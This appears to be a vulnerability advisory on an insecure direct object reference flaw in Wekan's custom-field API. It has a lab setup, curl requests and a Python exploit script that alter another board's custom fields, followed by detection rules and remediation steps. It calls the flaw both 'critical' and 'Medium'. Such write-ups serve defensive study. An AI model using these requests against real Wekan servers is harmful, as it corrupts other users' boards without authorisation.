CVE-2026-30843

Executive Summary

CVE-2026-30843 is a critical Insecure Direct Object Reference (IDOR) vulnerability in Wekan, an open-source kanban tool built with Meteor. Versions 8.32 and 8.33 are affected. The flaw resides in the custom fields update endpoints (PUT /api/boards/:boardId/custom-fields/:customFieldId and related POST/DELETE endpoints for dropdown items). While the endpoint validates that the authenticated user has access to the specified boardId, the subsequent database update uses only the custom field's _id as a filter without confirming the field actually belongs to that board. This allows an attacker who owns any board to modify custom fields on any other board by supplying a foreign custom field ID. The required custom field IDs can be obtained by exporting a board (which only needs read access), since the exported JSON includes the IDs of all board components. The authorization check is performed against the wrong resource, allowing cross-board custom field manipulation. This issue has been fixed in version 8.34.

Supply Chain & Package Security

Wekan is distributed as a Meteor application. The vulnerability is in the application code itself, not in a dependency. However, the Meteor framework's reactivity and database access patterns can exacerbate such IDOR issues. Users should ensure they are running version 8.34 or later, which includes the fix.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid account on any board.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected component are the same.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – Custom fields can be modified, potentially corrupting data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the impact on data integrity is high, and the attack is relatively simple. An attacker can corrupt custom fields across boards, which could lead to data loss or manipulation of business logic.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) in the custom fields API endpoints. The core issue is that the authorization check is performed against the boardId parameter, but the database update operation uses only the customFieldId parameter without verifying that the custom field belongs to the specified board.

Affected Endpoints:

• PUT /api/boards/:boardId/custom-fields/:customFieldId – Update a custom field.
• POST /api/boards/:boardId/custom-fields/:customFieldId/dropdown-items – Add a dropdown item.
• PUT /api/boards/:boardId/custom-fields/:customFieldId/dropdown-items/:itemId – Update a dropdown item.
• DELETE /api/boards/:boardId/custom-fields/:customFieldId/dropdown-items/:itemId – Delete a dropdown item.

Attack Flow:

1. The attacker authenticates and obtains a valid session token.
2. The attacker identifies a target board (e.g., board ID targetBoardId) and a target custom field ID (targetCustomFieldId). This can be done by exporting the target board (which requires only read access) and parsing the JSON output.
3. The attacker sends a PUT request to /api/boards/attackerOwnedBoard/custom-fields/targetCustomFieldId with the desired payload.
4. The server checks if the attacker has access to attackerOwnedBoard (which they do, since they own it).
5. The server then updates the custom field with _id: targetCustomFieldId without verifying that it belongs to attackerOwnedBoard.
6. The custom field on the target board is modified.

Root Cause: The authorization check is performed on the wrong resource. The code should verify that the custom field belongs to the board specified in the URL, but it only checks board access and then uses the custom field ID directly.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint handler
Meteor.methods({
  'updateCustomField': function(boardId, customFieldId, data) {
    // Check if user has access to the board
    if (!this.userId || !Boards.findOne({ _id: boardId, members: this.userId })) {
      throw new Meteor.Error('not-authorized');
    }
    // Update custom field using only the customFieldId
    CustomFields.update({ _id: customFieldId }, { $set: data });
  }
});

Patched Code (Conceptual):

// Patched endpoint handler
Meteor.methods({
  'updateCustomField': function(boardId, customFieldId, data) {
    // Check if user has access to the board
    if (!this.userId || !Boards.findOne({ _id: boardId, members: this.userId })) {
      throw new Meteor.Error('not-authorized');
    }
    // Verify the custom field belongs to the board
    const customField = CustomFields.findOne({ _id: customFieldId, boardId: boardId });
    if (!customField) {
      throw new Meteor.Error('not-found');
    }
    // Update custom field
    CustomFields.update({ _id: customFieldId }, { $set: data });
  }
});

The key difference is the addition of boardId: boardId in the findOne query, ensuring the custom field belongs to the specified board before allowing the update.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Wekan instance (version 8.32 or 8.33) using Docker:

   docker run -d -p 8080:80 --name wekan-vuln wekanteam/wekan:v8.32
   

2. Create two boards: one owned by the attacker (attackerBoard) and one target board (targetBoard).
3. On the target board, create a custom field (e.g., "Priority") and note its ID.
4. Export the target board to obtain the custom field ID:

   curl -X GET "http://localhost:8080/api/boards/targetBoardId/export" -H "Authorization: Bearer <attacker_token>"
   

5. Parse the JSON to find the custom field ID.

Exploitation:

1. Send a PUT request to modify the custom field on the target board using the attacker's board ID:

   curl -X PUT "http://localhost:8080/api/boards/attackerBoardId/custom-fields/targetCustomFieldId" \
   -H "Authorization: Bearer <attacker_token>" \
   -H "Content-Type: application/json" \
   -d '{"name": "Compromised Field", "type": "text"}'
   

2. The custom field on the target board is now modified.

Automated Exploit Script (Python):

import requests

target_url = "http://localhost:8080"
attacker_board_id = "attackerBoardId"
target_custom_field_id = "targetCustomFieldId"
attacker_token = "your_token_here"

headers = {
    "Authorization": f"Bearer {attacker_token}",
    "Content-Type": "application/json"
}

payload = {
    "name": "Compromised Field",
    "type": "text"
}

response = requests.put(
    f"{target_url}/api/boards/{attacker_board_id}/custom-fields/{target_custom_field_id}",
    headers=headers,
    json=payload
)

if response.status_code == 200:
    print("Custom field modified successfully!")
else:
    print(f"Failed: {response.status_code}")

Blue Team

Detection:

1. Monitor API logs for requests to /api/boards/*/custom-fields/* where the board ID in the URL does not match the board ID associated with the custom field in the database.
2. Look for patterns where a user modifies custom fields on boards they do not own.
3. Alert on multiple failed authorization attempts followed by successful modifications.

Hunting:

• Query database for custom fields that have been modified by users who are not members of the board.
• Check for anomalies in custom field names or types that were changed without corresponding board membership.

Prevention:

• Apply the patch by upgrading to Wekan 8.34.
• Implement additional server-side validation to ensure custom field IDs belong to the specified board.
• Use a Web Application Firewall (WAF) to block requests with mismatched board and custom field IDs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/boards/*/custom-fields/* with mismatched board and custom field IDs.
  • Repeated export requests for boards the user does not own.
• File IOCs:
  • Exported board JSON files containing custom field IDs.
• Log IOCs:
  • Server logs showing PUT /api/boards/attackerBoardId/custom-fields/targetCustomFieldId where attackerBoardId is owned by the user but targetCustomFieldId belongs to another board.
• Database IOCs:
  • Custom fields with boardId values that do not match the board they are associated with.

Detection Engineering

YARA Rule

rule CVE_2026_30843_IDOR_Wekan {
    meta:
        description = "Detects exploitation attempts of CVE-2026-30843 in Wekan logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-30843"
    strings:
        $s1 = "/api/boards/" ascii wide
        $s2 = "/custom-fields/" ascii wide
        $s3 = "PUT" ascii wide
        $s4 = "POST" ascii wide
        $s5 = "DELETE" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Wekan IDOR Custom Field Modification
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects attempts to exploit CVE-2026-30843 by modifying custom fields on boards the user does not own.
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30843
logsource:
    category: webserver
    product: wekan
detection:
    selection:
        cs-method: 
            - 'PUT'
            - 'POST'
            - 'DELETE'
        cs-uri-stem|contains: 
            - '/api/boards/'
            - '/custom-fields/'
    condition: selection
falsepositives:
    - Legitimate custom field modifications by board owners
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-30843 Wekan IDOR Custom Field Modification"; flow:to_server; content:"PUT"; http_method; content:"/api/boards/"; http_uri; content:"/custom-fields/"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wekan to version 8.34 or later. This is the only complete fix.
2. If immediate upgrade is not possible, disable the custom fields API endpoints temporarily by blocking requests to /api/boards/*/custom-fields/* at the reverse proxy or WAF level.
3. Review access logs for any suspicious activity related to custom field modifications.

Long-Term Mitigations:

1. Implement additional authorization checks in the application code to ensure that custom field IDs belong to the specified board.
2. Use a Web Application Firewall (WAF) with custom rules to detect and block IDOR attempts.
3. Conduct regular security audits of API endpoints to identify similar vulnerabilities.
4. Educate developers on secure coding practices, particularly around authorization and resource ownership.

Workaround:

• If upgrading is not feasible, you can manually patch the vulnerable code by adding a board ID check in the custom fields update methods. However, this is not recommended as it may introduce other issues.

Valters IT